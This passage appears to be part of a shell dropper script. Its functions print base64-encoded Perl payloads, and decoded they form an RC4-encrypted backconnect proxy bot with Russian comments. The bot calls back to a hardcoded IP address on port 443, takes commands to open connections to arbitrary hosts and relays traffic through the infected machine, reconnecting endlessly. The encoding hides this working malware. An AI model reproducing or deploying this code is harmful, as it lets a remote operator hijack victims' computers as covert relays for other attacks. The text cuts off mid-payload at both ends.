PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_47() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTUnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
